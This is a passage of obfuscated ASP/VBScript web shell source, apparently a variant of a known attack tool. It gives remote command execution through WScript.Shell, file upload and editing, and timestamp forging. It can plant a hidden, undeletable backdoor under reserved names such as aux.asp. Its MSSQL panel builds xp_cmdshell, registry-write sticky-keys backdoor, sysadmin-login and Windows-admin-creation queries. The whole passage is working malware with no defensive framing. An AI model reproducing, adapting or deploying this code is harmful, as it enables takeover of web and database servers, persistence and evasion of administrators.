If Not ydnj Then On Error Resume Next
ajg("WS"+qkdx+"cript.She"+nomr+"ll Execute")
If rcvdh<>""Then
If InStr(Lcase(rcvdh),"cmd")>0 And InStr(ihyn,"/c ")<1 Then
kob=rcvdh&" /c "&ihyn
Else
kob=rcvdh&" "&ihyn
End If
If ldcr=1 Then
execute "Set swzr=vnznl.Ex"&corg&"ec(kob)"
execute "inl=swzr.StdOut.R"&pwbon&"eadAll()&vbCrLf&swzr.StdErr.R"&pwbon&"eadAll()"
Else
execute "vnznl.R"&gpkod&"un kob,0,False"
End If
tvnm(Err)
zeb
Else
rcvdh="cmd.exe"
End If
sodx"100%"
cxaqj True
abxky 1
doTd"Path","10%"
iiit"text","rcvdh",rcvdh,"70%","",""
echo"<td>"
jwik"ldcr",1," View result ","checked"
qjr"Run"
echo"</td>"
uemp
abxky 0
doTd"Parameters",""
iiit"text","ihyn",ihyn,"","","2"
uemp
gbqwf
guenn
echo"<hr><b>Result:</b><br><span class=""alt1Span"">"&mszsa(inl)&"</span>"
tvnm(Err)
End Sub
Sub wbmfm()
If Not ydnj Then On Error Resume Next
ajg("She"+nlrnz+"ll.Applic"+oqzje+"ation Execute")
If rcvdh<>""Then
If InStr(Lcase(rcvdh),"cmd")>0 And InStr(ihyn,"/c ")<1 Then
ihyn="/c "&ihyn
End If
execute "zjhor.Shel"&poo&"lExecute rcvdh,ihyn,Null,""open"",0"
tvnm(Err)
ElseIf qtylw="viewResult" Then
Response.Clear
uwrty=Trim(uwrty)
If IsObject(xjab)Then
echo "<body bgcolor='#ecedef'>"&mszsa(tpcq(uwrty))&"</body>"
Else
echo "<body bgcolor='#ecedef'>"&mszsa(rchgv(uwrty))&"</body>"
End If
If Err Then echo Err.Description
execute "xjab.Dele"&nbjk&"teFile uwrty,True"
Response.End
End If
sodx"100%"
cxaqj True
abxky 1
doTd"com"+nhmkc+"mand","10%"
If rcvdh=""Then rcvdh="cmd.exe"
If ihyn=""Then ihyn=" /c net u"+rmct+"ser > "&zhyko&"\temp.txt"
iiit"text","rcvdh",rcvdh,"80%","",""
fkv"Run ",""
uemp
abxky 0
doTd"Parameters",""
iiit"text","ihyn",ihyn,"","",2
uemp
gbqwf
guenn
echo"<hr>"
zesc"button","","Refresh result","","onclick='javascript:thra()'"
echo"<br><br><iframe id='inl' class='frame' frameborder='no'></iframe>"
End Sub
Sub fevyb()
If Not ydnj Then On Error Resume Next
If lqbip=""Then lqbip=gwk
If lqbip=""Then lqbip=nzax
If goaction<>"jilq"Then goaction="veerr"
If qtylw="down"Then
cqbv()
Response.End()
End If
If goaction="veerr"Then
iij="fso"
ajg("FSO File Explorer")
Else
iij="sa"
ajg("APP File Explorer")
End If
Select Case qtylw
Case"dprl","eyq"
usxi()
lqbip=dzzx(lqbip,"\",False)
Case"xhsy"
xhsy()
Case"save","evwr"
yjzdg()
lqbip=dzzx(lqbip,"\",False)
Case"omtw"
bhq()
Case"unu","tzsaq"
unu()
Case"strwh","swxiy"
ohcrx()
lqbip=dzzx(lqbip,"\",False)
Case"plz","wma","ttg","vseta"
rumla()
lqbip=dzzx(lqbip,"\",False)
Case"rvvj"
qcda()
Case"lhirb"
bizlp()
lqbip=dzzx(lqbip,"\",False)
Case"apicv"
ozt()
End Select
If Len(lqbip)<3 Then lqbip=lqbip&"\"
dslv()
End Sub
Sub dslv()
Dim theFolder,slvd,ybft,gttt,nfplv,jrtca,acio,brwr,i
If Not ydnj Then On Error Resume Next
If iij="fso"Then
Set theFolder=xjab.GetFolder(lqbip)
gttt=xjab.GetParentFolderName(lqbip)
Else
execute "Set theFolder=zjhor.Nam"&urblr&"eSpace(lqbip)"
ome Err
gttt=dzzx(lqbip,"\",False)
If InStr(gttt,"\")<1 Then
gttt=gttt&"\"
End If
End If
brwr=lqbip
If Right(brwr,1)<>"\"Then brwr=brwr&"\"
rtas"brwr",brwr
cxaqj True
echo"<b>Current Path :</b>"
zesc"text","lqbip",lqbip,120,""
mwt""
rycpp"","170px","onchange=""javascript:if(this.value!=''){qjr('"&goaction&"','',this.value);}"""
exhpr"","Drivers/Comm folders"
exhpr mszsa(wxw(".")),"."
exhpr mszsa(wxw("/")),"/"
exhpr"","----------------"
If Lcase(iij)="fso"Then
For Each drive in xjab.Drives
execute "exhpr drive.Drive"&jruor&"Letter&"":\"",drive.Drive"&jruor&"Letter&"":\"""
Next
exhpr"","----------------"
End If
exhpr"C:\Program Files","C:\Program Files"
exhpr"C:\Program Files\RhinoSoft.com","RhinoSoft.com"
exhpr"C:\Program Files\Serv"+shn+"-U","Serv"+shn+"-U"
exhpr"C:\Program Files\Ra"+aumws+"dmin","Ra"+aumws+"dmin"
exhpr"C:\Program Files\Microsoft SQL Server","Mssql"
exhpr"C:\Program Files\Mysql","Mysql"
exhpr"","----------------"
exhpr"C:\documents and Settings\All Users","All Users"
exhpr"C:\documents and Settings\All Users\documents","documents"
exhpr"C:\documents and Settings\All Users\Application Data\Symantec\pcAnywhere","PcAnywhere"
exhpr"C:\documents and Settings\All Users\Start Menu\Programs","Start Menu->Programs"
exhpr"","----------------"
exhpr"D:\Program Files","D:\Program Files"
exhpr"D:\Serv"+shn+"-U","D:\Serv"+shn+"-U"
exhpr"D:\Ra"+aumws+"dmin","D:\Ra"+aumws+"dmin"
exhpr"D:\Mysql","D:\Mysql"
ild
qjr"Go"
gbqwf
mwt"<br><form method=""post"" id=""upform""action="""&cngn&"""enctype=""multipart/form-data"">"
rtas"goaction",goaction
rtas"qtylw","omtw"
rtas"lqbip",lqbip
sodx"60%"
abxky 1
iiit"file","upfile","","30%","",""
doTd"Save As :","15%"
iiit"text","yvquw","","30%","",""
iiit"button",""," Upload ","20%","onClick=""javascript:qjr('"&goaction&"','omtw','')""",""
uemp
gbqwf
If iij="fso"Then
abxky 0
cxaqj True
rtas"lqbip",lqbip
rtas"qtylw","xhsy"
iiit"text","exte","","","",""
echo"<td colspan='2'>"
zesc"radio","mhvec","file","","checked"
echo"File"
zesc"radio","mhvec","folder","",""
echo"Folder</td>"
fkv"New one",""
gbqwf
uemp
End If
echo"</table><hr>"
If iij="fso"Then
If Not xjab.FolderExists(lqbip)Then
yln lqbip&" Folder dosen't exists or access denied!"
viwe
End If
End If
csyfy"Folders",False
sodx"100%"
vhl
doTd"<b>Folder name</b>",""
doTd"<b>Size</b>",""
doTd"<b>Last modIfied</b>",""
echo"<td><b>Action</b>"
If iij="fso"Then
echo" - "
injj goaction,"apicv",clwc(lqbip),"Make a hidden backdoor here",""
End If
echo"</td>"
uemp
abxky 0
echo"<td colspan=""4"">"
injj goaction,"",clwc(gttt),"Parent Directory",""
echo"</td>"
uemp
ads=1
i=0
If iij="fso"Then
For Each objX in theFolder.SubFolders
acio=objX.DateLastModIfied
abxky ads
echo"<td>"
injj goaction,"",objX.Name,objX.Name,""
echo"</td>"
doTd mszsa("<dir>"),""
doTd acio,""
echo"<td>"
injj goaction,"ttg",objX.Name,"Copy"," -"
injj goaction,"vseta",objX.Name,"Move"," -"
injj goaction,"swxiy",objX.Name,"Rename"," -"
injj "jzp","jixpz",objX.Name,"Package"," -"
injj goaction,"eyq",objX.Name,"Delete",""
mwt"</td>"
uemp
nrf
i=i+1
If i>=20 Then
i=0
Response.Flush()
End If
Next
Else
For Each objX in theFolder.Items
If objX.IsFolder Then
acio=theFolder.GetDetailsOf(objX,3)
abxky ads
echo"<td>"
injj goaction,"",objX.Name,objX.Name,""
echo"</td>"
doTd mszsa("<dir>"),""
doTd acio,""
echo"<td>"
injj goaction,"swxiy",objX.Name,"Rename"," -"
injj "jzp","kehl",objX.Name,"Package",""
mwt"</td>"
uemp
nrf
i=i+1
If i>=20 Then
i=0
Response.Flush()
End If
End If
Next
End If
guenn
mwt"</span><br>"
csyfy"Files",False
sodx"100%"
echo"<b>"
vhl
doTd"<b>File name</b>",""
doTd"<b>Size</b>",""
doTd"<b>Last modIfied</b>",""
doTd"<b>Action</b>",""
uemp
echo"</b>"
ads=0
If iij="fso"Then
For Each objX in theFolder.Files
nfplv=kxyzh(objX.Size)
acio=objX.DateLastModIfied
If Lcase(Left(objX.Path,Len(zhyko)))<>Lcase(zhyko) Then
slvd=""
Else
slvd=Replace(Replace(nwtcn(Mid(objX.Path,Len(zhyko)+1)),"%2E","."),"+","%20")
End If
abxky ads
If slvd=""Then
doTd objX.Name,""
Else
doTd"<a href='"&Replace(slvd,"%5C","/")&"' target=_blank>"&objX.Name&"</a>",""
End If
doTd nfplv,""
doTd acio,""
echo"<td>"
injj goaction,"unu",objX.Name,"Edit"," -"
injj goaction,"plz",objX.Name,"Copy"," -"
injj goaction,"wma",objX.Name,"Move"," -"
injj goaction,"strwh",objX.Name,"Rename"," -"
injj goaction,"down",objX.Name,"Down"," -"
injj goaction,"rvvj",objX.Name,"Attribute"," -"
ozs "zwg",objX.Name,"","","","Database"," -"
injj goaction,"dprl",objX.Name,"Delete",""
mwt"</td>"
uemp
nrf
i=i+1
If i>=20 Then
i=0
Response.Flush()
End If
Next
Else
For Each objX in theFolder.Items
If Not objX.IsFolder Then
Dim sxip
sxip=zsz(objX.Path,"\")
jrtca=clwc(objX.Path)
nfplv=theFolder.GetDetailsOf(objX,1)
acio=theFolder.GetDetailsOf(objX,3)
If Lcase(Left(objX.Path,Len(zhyko)))<>Lcase(zhyko) Then
slvd=""
Else
slvd=Replace(Replace(nwtcn(Mid(objX.Path,Len(zhyko)+1)),"%2E","."),"+","%20")
End If
abxky ads
If slvd=""Then
doTd zsz(objX.Path,"\"),""
Else
doTd"<a href='"&Replace(slvd,"%5C","/")&"' target=_blank>"& zsz(objX.Path,"\")&"</a>",""
End If
doTd nfplv,""
doTd acio,""
echo"<td>"
injj goaction,"unu",sxip,"Edit"," -"
injj goaction,"strwh",sxip,"Rename"," -"
injj goaction,"down",sxip,"Down"," -"
injj goaction,"rvvj",sxip,"Attribute"," -"
ozs "zwg",sxip,"","","","Database",""
mwt"</td>"
uemp
nrf
i=i+1
If i>=20 Then
i=0
Response.Flush()
End If
End If
Next
End If
guenn
echo"</span>"
tvnm(Err)
End Sub
Function whc(vhv)
Dim abaqg
abaqg=""
If vhv>=32 Then
vhv=vhv-32
abaqg=abaqg&"archive|"
End If
If vhv>=16 Then vhv=vhv-16
If vhv>=8 Then vhv=vhv-8
If vhv>=4 Then
vhv=vhv-4
abaqg=abaqg&"system|"
End If
If vhv>=2 Then
vhv=vhv-2
abaqg=abaqg&"hidden|"
End If
If vhv>=1 Then
abaqg=abaqg&"readonly|"
End If
If abaqg=""Then
whc=Array(Null)
Else
whc=Split(Left(abaqg,Len(abaqg)-1),"|")
End If
End Function
Sub qcda()
Dim azchf,avl,gaf,strAtt,vhv,phebk,bxja,gir,ybrxe,fuav
If Not ydnj Then On Error Resume Next
If IsObject(xjab)Then
Set azchf=xjab.GetFile(lqbip)
End If
If IsObject(zjhor)Then
bxja=dzzx(lqbip,"\",False)
gaf=zsz(lqbip,"\")
execute "Set phebk=zjhor.Name"&qrno&"Space(bxja)"
Set avl=phebk.ParseName(gaf)
End If
echo"<center>"
sodx"60%"
cxaqj True
rtas"qtylw","lhirb"
rtas"lqbip",lqbip
abxky 1
fkv"Set / Clone",""
doTd lqbip,""
uemp
abxky 0
doTd"Attributes",""
If IsObject(xjab)Then
vhv=azchf.Attributes
strAtt="<input type=checkbox name=kylxz value=4 class='input' {$system}/>system "
strAtt=strAtt&"<input type=checkbox name=kylxz value=2 {$hidden}/>hide "
strAtt=strAtt&"<input type=checkbox name=kylxz value=1 {$readonly}/>readonly "
strAtt=strAtt&"<input type=checkbox name=kylxz value=32 {$archive}/>save "
fuav=whc(vhv)
For Each ybrxe in fuav
strAtt=Replace(strAtt,"{$"&ybrxe&"}","checked")
Next
doTd strAtt,""
Else
doTd"FSO object disabled,can't get/set attributes -_-~!",""
End If
uemp
If IsObject(zjhor)Then
abxky 1
doTd"Date created",""
doTd phebk.GetDetailsOf(avl,4),""
uemp
abxky 0
doTd"Date last modIfied",""
iiit"text","tbe",phebk.GetDetailsOf(avl,3),"","",""
uemp
abxky 1
doTd"Date last accessed",""
doTd phebk.GetDetailsOf(avl,5),""
uemp
Else
abxky 1
doTd"Date created",""
execute "doTd azchf.DateCr"&ack&"eated,"""""
uemp
abxky 0
doTd"Date last modIfied",""
doTd azchf.DateLastModIfied,""
uemp
abxky 1
doTd"Date last accessed",""
doTd azchf.DateLastAccessed,""
uemp
End If
abxky 0
If IsObject(zjhor)Then
doTd"Clone time ",""
echo"<td>"
rycpp"oth","100%",""
exhpr "","Do not clone"
For Each objX in phebk.Items
If Not objX.IsFolder Then
gir=zsz(objX.Path,"\")
exhpr gir,phebk.GetDetailsOf(phebk.ParseName(gir),3)&" --- "&gir
End If
Next
Else
echo"<td colspan=2>App object disabled,can't modIfy time -_-~!</td>"
End If
guenn
gbqwf
viwe()
End Sub
Sub bizlp()
If Not ydnj Then On Error Resume Next
Dim wabmc,azchf,bxja,gaf,phebk,avl
If IsObject(xjab)Then
Set azchf=xjab.GetFile(lqbip)
End If
If IsObject(zjhor)Then
bxja=dzzx(lqbip,"\",False)
gaf=zsz(lqbip,"\")
execute "Set phebk=zjhor.Name"&qrno&"Space(bxja)"
Set avl=phebk.ParseName(gaf)
End If
If kylxz<>""Then
kylxz=Split(Replace(kylxz," ",""),",")
For i=0 To UBound(kylxz)
wabmc=wabmc+CLng(kylxz(i))
Next
azchf.Attributes=wabmc
If Err Then
tvnm(Err)
Else
yln"Attributes modIfied"
End If
End If
If oth=""Then
If tbe<>"" And IsDate(tbe)Then
avl.ModIfyDate=tbe
If Err Then
tvnm(Err)
Else
yln"Time modIfied"
End If
End If
Else
avl.ModIfyDate=phebk.GetDetailsOf(phebk.ParseName(oth),3)
If Err Then
tvnm(Err)
Else
yln"Time modIfied"
End If
End If
End Sub
Sub ozt()
If Not ydnj Then On Error Resume Next
If fileName<>""Then
Dim lcbe,tpd,csg
lcbe="\\.\"&lqbip&"\"&fileName
If vujc=1 Then
execute "Call xjab.Mov"&pzih&"eFile(ramoi(""PATH_TRANSLATED""),lcbe)"
Set tpd=xjab.GetFile(lcbe)
tpd.Attributes=6
ome(Err)
lcbe=Replace(lcbe,"\\.\","")
csg=Replace(Replace(Replace(nwtcn(Mid(lcbe,Len(zhyko)+1)),"%2E","."),"+","%20"),"%5C","/")
Response.Redirect(csg)
Else
ekg lcbe,ogda
Set tpd=xjab.GetFile(lcbe)
tpd.Attributes=6
End If
If Err Then
tvnm(Err)
Else
yln"Backdoor established,have fun."
End If
Exit Sub
End If
cxaqj True
sodx"100%"
rtas"qtylw","apicv"
mwt"<b>Make hidden backdoor</b><br>"
sodx"100%"
abxky 1
doTd"Path","20%"
iiit"text","lqbip",lqbip,"60%","",""
fkv"Save","20%"
uemp
abxky 0
doTd"Content",""
lhue "ogda","",10
echo"<td>"
jwik"vujc",1,"Move myself there","onclick='javascript:document.getElementById(""ogda"").disabled=this.checked'"
echo"</td>"
uemp
abxky 1
echo"<td>"
rycpp"fileName","100%",""
exhpr"aux.asp","aux.asp"
exhpr"con.asp","con.asp"
exhpr"com1.asp","com1.asp"
exhpr"com2.asp","com2.asp"
exhpr"nul.asp","nul.asp"
exhpr"prn.asp","prn.asp"
ild
echo"</td>"
mwt"<td colspan='2'>Cannot del,cannot open in ordinary way,this will drive the web administrator madness :)</td>"
uemp
guenn
gbqwf
viwe
End Sub
Sub awsr()
If Not ydnj Then On Error Resume Next
If lqog="" Or Not IsNumeric(lqog) Then
lqog=Request.Cookies("lqog")
Else
Response.Cookies("lqog")=lqog
End If
If lqog="" Or Not IsNumeric(lqog) Then lqog=nhbqw
If ihk=""Then ihk=Request.Cookies(wseta&"ihk")
uhrpj()
If ihk<>""Then
Select Case qtylw
Case"wse"
wse()
Case"usa"
usa()
Case"msbca"
msbca()
Case"sls","ttjm"
fomgk()
Case Else
zwg()
End Select
End If
tbr
viwe
End Sub
Sub uhrpj()
Dim rs,yylxy,kzw,zwtp
If Not ydnj Then On Error Resume Next
ajg("Database Operation")
cxaqj True
mwt"Connect String : "
zesc"text","ihk",ihk,160,""
echo" "
mwt"page size : "
zesc"text","lqog",lqog,5,""
qjr"OK"
gbqwf
csyfy"GetConnectString",True
sodx"80%"
abxky 1
doTd"SqlOleDb","10%"
mwt"<td style=""width:80%"">Server:"
zesc"text","MsServer","127.0.0.1","15",""
echo" Username:"
zesc"text","MsUser","sa","10",""
echo" Password:"
zesc"text","MsPass","","10",""
echo" DataBase:"
zesc"text","DBPath","","10",""
jwik "MsSspi","1","Windows Authentication",""
echo"</td>"
iiit"button","","Generate","10%","onClick=""javascript:tywoa(MsServer.value,MsUser.value,MsPass.value,DBPath.value,MsSspi.checked)""",""
uemp
abxky 0
doTd"Jet",""
mwt"<td>DB path:"
zesc"text","accdbpath",nzax&"\","82",""
echo"</td>"
iiit"button","","Generate","10%","onClick=""javascript:kew(accdbpath.value)""",""
uemp
guenn
echo"</span><hr>"
If Err Then Err.clear
If ihk<>""Then
lswls ihk
suzn wseta&"ihk",ihk
Set rs=nfffq("Ad"+oge+"odb.R"+zui+"ecordSet")
rs.Open "select @@version,db_name()",conn,1,1
If Err Then
acjdi="access"
Err.clear
Set rs=Nothing
Set rs=nfffq("Ad"+oge+"odb.R"+zui+"ecordSet")
rs.Open "select cstr('access')",conn,1,1
If Err Then
acjdi="others"
Err.clear
End If
rs.Close
Set rs=Nothing
Else
ryfj=rs(0)
podw=rs(1)
rs.close
acjdi="mssql"
%>
<script>
var oonsd='';function zfzf(path){var regRoot=dzzx(path,'\\',true);path=path.substr(regRoot.length+1);var regKey=zsz(path,'\\');var aiw=dzzx(path,'\\',false);return(new Array(regRoot,aiw,regKey));}function ekt(knfe){form2.ybgqm.value="exec mast"+oonsd+"er..xp"+oonsd+"_cmdshell '"+knfe+"'";}function sxubi(aiw){var regarr=zfzf(aiw);form2.ybgqm.value="exec mast"+oonsd+"er..xp_regread '"+regarr[0]+"','"+regarr[1]+"','"+regarr[2]+"'";}function lkae(nxfic){form2.ybgqm.value="exec mast"+oonsd+"er..xp_dirtree '"+nxfic+"',1,1";}function azohr(ths,cpbdz,ltkwa){if(ltkwa==2){form2.ybgqm.value="if object_id('dark_temp')is not null drop table dark_temp;create table dark_temp(aa nvarchar(4000));bulk insert dark_temp from'"+cpbdz+"'";}else{form2.ybgqm.value="declare @a int;exec mast"+oonsd+"er..sp_oacr"+oonsd+"eate'WS"+oonsd+"cript.She"+oonsd+"ll',@a output;exec mast"+oonsd+"er..sp_oameth"+oonsd+"od @a,'run',null,'"+ths+" > "+cpbdz+"',0,'true'";}}function ojlqe(net,cmj,vxeyd,nspwd){switch(nspwd){case '1':form2.ybgqm.value="exec mast"+oonsd+"er..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTW"+oonsd+"ARE\Microsoft\Jet\4.0\En"+oonsd+"gines','SandBo"+oonsd+"xMode','REG_DWORD',0";break;case '2':net=net.replace(/"/g,'""');form2.ybgqm.value="Select * From openro"+oonsd+"wSet('Microsoft.Jet.OLEDB.4.0',';Database="+cmj+"','select shell(\""+net+" > "+vxeyd+"\")')";break;case '3':form2.ybgqm.value="if object_id('dark_temp')is not null drop table dark_temp;create table dark_temp(aa nvarchar(4000));bulk insert dark_temp from'"+vxeyd+"'";break;}}function jxw(ggwz,wvkc){form2.ybgqm.value="declare @a int;exec mast"+oonsd+"er..sp_oacr"+oonsd+"eate'Scriptin"+oonsd+"g.FileSystemObj"+oonsd+"ect',@a output;exec mast"+oonsd+"er..sp_oameth"+oonsd+"od @a,'CopyFile',null,'"+ggwz+"','"+wvkc+"'";}function wfrtn(fhbej,tcppp){form2.ybgqm.value="exec mast"+oonsd+"er..xp_makecab 'C:\\windows\\temp\\~098611.tmp','default',1,'"+fhbej+"';exec mast"+oonsd+"er..xp_unpackcab 'C:\\windows\\temp\\~098611.tmp','"+dzzx(tcppp,"\\",false)+"',1,'"+zsz(tcppp,"\\")+"'";}function cuuu(anpj,xppp){form2.ybgqm.value="use mast"+oonsd+"er;dbcc addextEndedpr"+oonsd+"oc('"+anpj+"','"+xppp+"')";}function bud(wpy){form2.ybgqm.value="use mast"+oonsd+"er;dbcc dropextEndedproc('"+wpy+"')";}function tekgs(epvr){form2.ybgqm.value="exec mast"+oonsd+"er..sp_configure 'show advanced options',1;RECONFIGURE;EXEC mast"+oonsd+"er..sp_configure '"+epvr+"',1;RECONFIGURE";}function zhjsq(zsaq,pqote,qgi){var regarr=zfzf(zsaq);if (pqote=="REG_SZ"){qgi="'"+qgi+"'";}form2.ybgqm.value="exec mast"+oonsd+"er..xp_regwrite '"+regarr[0]+"','"+regarr[1]+"','"+regarr[2]+"','"+pqote+"',"+qgi;}function oqwdw(name,pass){form2.ybgqm.value="exec mast"+oonsd+"er..sp_addlogin '"+name+"','"+pass+"';exec mast"+oonsd+"er..sp_add"+oonsd+"srvrolemember '"+name+"','sysadmin'";}function fkggf(name,pass){form2.ybgqm.value="declare @a int;exec mast"+oonsd+"er..sp_oacr"+oonsd+"eate 'ScriptControl',@a output;exec mast"+oonsd+"er..sp_oasetprop"+oonsd+"erty @a,'language','VBScript';exec mast"+oonsd+"er..sp_oameth"+oonsd+"od @a,'addcode',null,'sub add():Set o=CreateObject(\"She"+oonsd+"ll.Users\"):Set u=o.create(\""+name+"\"):u.Chan"+oonsd+"gePassword \""+pass+"\",\"\":u.setting(\"AccountType\")=3:end sub';exec mast"+oonsd+"er..sp_oameth"+oonsd+"od @a,'run',null,'add'";}function wdkbc(bejh,niypd,podw,wvj){switch(wvj){case '1':form2.ybgqm.value="alter database ["+podw+"] Set recovery full;dump transaction ["+podw+"] with no_log;if object_id('dark_temp')is not null drop table dark_temp;create table dark_temp(aa sql_variant primary key)";break;case '2':form2.ybgqm.value="backup database ["+podw+"] to disk='C:\\windows\\temp\\~098611.tmp' with init";break;case '3':form2.ybgqm.value="insert dark_temp values('"+bejh.replace(/'/g,"''")+"')";break;case '4':form2.ybgqm.value="backup log ["+podw+"] to disk='"+niypd+"';drop table dark_temp";break;}}function euxpo(podw){var re=/(database|initial catalog) *=[^;]+/i;if(sqlForm.ihk.value.match(re)){sqlForm.ihk.value=miig(sqlForm.ihk.value.replace(re,"$1="+podw));sqlForm.qtylw.value="zwg";sqlForm.submit();}else{alert("Can not get database name in connect string!");}}
</script>
<%
End If
If qtylw="wse"And ybgqm=""Then
If acjdi="others"Then
ybgqm="select * from "&rxg
Else
ybgqm="select * from ["&rxg&"]"
End If
End If
ozs "zwg","","","","","Show Tables",""
echo"<br>"
cxaqj True
rtas"qtylw","wse"
rtas"ihk",ihk
sodx"100%"
If acjdi="mssql"Then
abxky 1
mwt"<td colspan=4>Version : "&mszsa(ryfj)&"</td>"
uemp
yylxy="sysadmin|db_owner|public"
abxky 0
echo"<td colspan=4>"
For Each strrole in Split(yylxy,"|")
If strrole="sysadmin"Then
rs.Open "select IS_SRVROLEMEMBER('"&strrole&"')",conn,1,1
Else
rs.Open "select IS_MEMBER('"&strrole&"')",conn,1,1
End If
If rs(0)=1 Then
echo "Current Privilege : <font color='red'>"&strrole&"</font> "
rs.close
Exit For
End If
rs.close
Next
echo "| Switch Database : "
rs.Open "select name from mast"+mqe+"er..sysdatabases",conn,1,1
rs.movefirst
Do While Not rs.eof
echo "<a href=javascript:euxpo('"&rs("name")&"')>"&rs("name")&"</a> | "
rs.movenext
Loop
echo"</td></tr>"
nrf
rs.close
Set rs=Nothing
End If
abxky 1
doTd"Execute Sql","10%"
lhue"ybgqm",ybgqm,5
fkv"Submit","5%"
iiit"button","","Export","5%","onClick='tort();'",""
uemp
guenn
gbqwf
If acjdi="mssql"Then
echo"Functions : "
kzw=Split("xp_cmd|xp_dir|xp_reg|xp_regw|wsexec|sbexec|fsocopy|makecab|addproc|delproc|enfunc|addlogin|addsys|logback|sls|ttjm","|")
zwtp=Split("xp"+cla+"_cmdshell|xp_dirtree|xp_regread|xp_regwrite|ws exec|sandbox exec|FSO copy|Cab copy|add procedure|del procedure|enable function|add sql user|add sys user|logbackup|saupfile|sadownfile","|")
For i=0 To UBound(kzw)
echo"<a href='#' onClick=""javascript:bik("&kzw(i)&")"" class='hidehref'>"&zwtp(i)&"</a> | "
Next
echo"<br><br>"
uxmhj"xp_cmd",True
sodx"100%"
abxky 1
doTd"com"+nhmkc+"mand","10%"
iiit"text","knfe","net u"+rmct+"ser","80%","",""
iiit"button","","Generate","10%","onClick=""javascript:ekt(knfe.value)""",""
uemp
guenn
echo"</span>"
uxmhj"xp_dir",True
sodx"100%"
abxky 1
doTd"Path","10%"
iiit"text","nxfic",nzax,"80%","",""
iiit"button","","Generate","10%","onClick=""javascript:lkae(nxfic.value)""",""
uemp
guenn
echo"</span>"
uxmhj"xp_reg",True
sodx"100%"
abxky 1
doTd"Path","10%"
iiit"text","xpregpath","HKEY_LOCAL_MACHINE\SYSTEM\Curre"+fewse+"ntControlSet\Control\ComputerNa"+wwva+"me\ComputerNa"+wwva+"me\ComputerNa"+wwva+"me","80%","",""
iiit"button","","Generate","10%","onClick=""javascript:sxubi(xpregpath.value)""",""
uemp
guenn
echo"</span>"
uxmhj"xp_regw",True
sodx"100%"
abxky 1
doTd"Path","10%"
iiit"text","zsaq","HKEY_LOCAL_MACHINE\SOFTW"+wjw+"ARE\Microsoft\Window"+zfd+"s NT\Curren"+suctf+"tVersion\Image File Execution Options\Sethc.exe\debugger","80%","","4"
uemp
abxky 0
doTd"Type",""
echo"<td width='30%'>"
rycpp"pqote","100%",""
exhpr "REG_SZ","REG_SZ"
exhpr "REG_DWORD","REG_DWORD"
exhpr "REG_BINARY","REG_BINARY"
ild
echo"</td>"
doTd"Value",""
iiit"text","qgi","cmd.exe","40%","",""
iiit"button","","Generate","10%","onClick=""javascript:zhjsq(zsaq.value,document.all.pqote.value,qgi.value)""",""
uemp
guenn
echo"</span>"
uxmhj"wsexec",True
sodx"100%"
abxky 1
doTd"com"+nhmkc+"mand","10%"
iiit"text","ths","cmd /c net u"+rmct+"ser","","","4"
uemp
abxky 0
doTd"Temp File",""
iiit"text","cpbdz","C:\WINDOWS\Temp\~098611.tmp","50%","",""
doTd"Step","20%"
echo"<td width='10%'>"
rycpp"ltkwa","100%",""
exhpr 1,1
exhpr 2,2
ild
echo"</td>"
iiit"button","","Generate","10%","onClick=""javascript:azohr(ths.value,cpbdz.value,document.all.ltkwa.value)""",""
uemp
guenn
echo"</span>"
uxmhj"sbexec",True
sodx"100%"
abxky 1
doTd"com"+nhmkc+"mand","10%"
iiit"text","net","cmd /c net u"+rmct+"ser","","","5"
uemp
abxky 0
doTd"Mdb Path",""
iiit"text","cmj","C:\windows\syste"+xyjdv+"m32\ias\ias.mdb","30%","",""
doTd"Temp File","10%"
iiit"text","vxeyd","C:\WINDOWS\Temp\~098611.tmp","30%","",""
echo"<td width='10%'>Step "
rycpp"nspwd","40px",""
exhpr 1,1
exhpr 2,2
exhpr 3,3
ild
echo"</td>"
iiit"button","","Generate","10%","onClick=""javascript:ojlqe(net.value,cmj.value,vxeyd.value,document.all.nspwd.value)""",""
uemp
guenn
echo"</span>"
uxmhj"fsocopy",True
sodx"100%"
abxky 1
doTd"Source","10%"
iiit"text","ggwz","C:\WINDOWS\syste"+xyjdv+"m32\cmd.exe","35%","",""
doTd"Target","10%"
iiit"text","wvkc","C:\WINDOWS\syste"+xyjdv+"m32\Sethc.exe","35%","",""
iiit"button","","Generate","10%","onClick=""javascript:jxw(ggwz.value,wvkc.value)""",""
uemp
guenn
echo"</span>"
uxmhj"makecab",True
sodx"100%"
abxky 1
doTd"Source","10%"
iiit"text","fhbej","C:\WINDOWS\syste"+xyjdv+"m32\cmd.exe","35%","",""
doTd"Target","10%"
iiit"text","tcppp","C:\WINDOWS\syste"+xyjdv+"m32\Sethc.exe","35%","",""
iiit"button","","Generate","10%","onClick=""javascript:wfrtn(fhbej.value,tcppp.value)""",""
uemp
guenn
echo"</span>"
uxmhj"addproc",True
sodx"80%%"
abxky 1
doTd"Procedure","20%"
echo"<td width='20%'>"
rycpp"anpj","100%",""
exhpr "xp"+cla+"_cmdshell","xp"+cla+"_cmdshell"
exhpr "xp_dirtree","xp_dirtree"
exhpr "xp_regread","xp_regread"
exhpr "xp_regwrite","xp_regwrite"
exhpr "sp_oacr"+mml+"eate","sp_oacr"+mml+"eate"
ild
doTd"DLL","20%"
echo"<td width='20%'>"
rycpp"xppp","100%",""
exhpr "xplog"+nmdg+"70.dll","xplog"+nmdg+"70.dll"
exhpr "xpstar.dll","xpstar.dll"
exhpr "odsole70.dll","odsole70.dll"
ild
iiit"button","","Generate","20%","onClick=""javascript:cuuu(document.all.anpj.value,document.all.xppp.value)""",""
uemp
guenn
echo"</span>"
uxmhj"delproc",True
sodx"40%"
abxky 1
doTd"Procedure","30%"
echo"<td width='40%'>"
rycpp"wpy","100%",""
exhpr "xp"+cla+"_cmdshell","xp"+cla+"_cmdshell"
exhpr "xp_dirtree","xp_dirtree"
exhpr "xp_regread","xp_regread"
exhpr "xp_regwrite","xp_regwrite"
exhpr "sp_oacr"+mml+"eate","sp_oacr"+mml+"eate"
ild
echo"</td>"
iiit"button","","Generate","30%","onClick=""javascript:bud(document.all.wpy.value)""",""
uemp
guenn
echo"</span>"
uxmhj"enfunc",True
sodx"40%"
abxky 1
doTd"Function","30%"
echo"<td width='40%'>"
rycpp"epvr","100%",""
exhpr "xp"+cla+"_cmdshell","xp"+cla+"_cmdshell"
exhpr "Ole Automation Procedures","sp_oacr"+mml+"eate"
exhpr "Ad Hoc Distributed Queries","openro"+unw+"wSet"
ild
echo"</td>"
iiit"button","","Generate","30%","onClick=""javascript:tekgs(document.all.epvr.value)""",""
uemp
guenn
echo"</span>"
uxmhj"addlogin",True
sodx"80%"
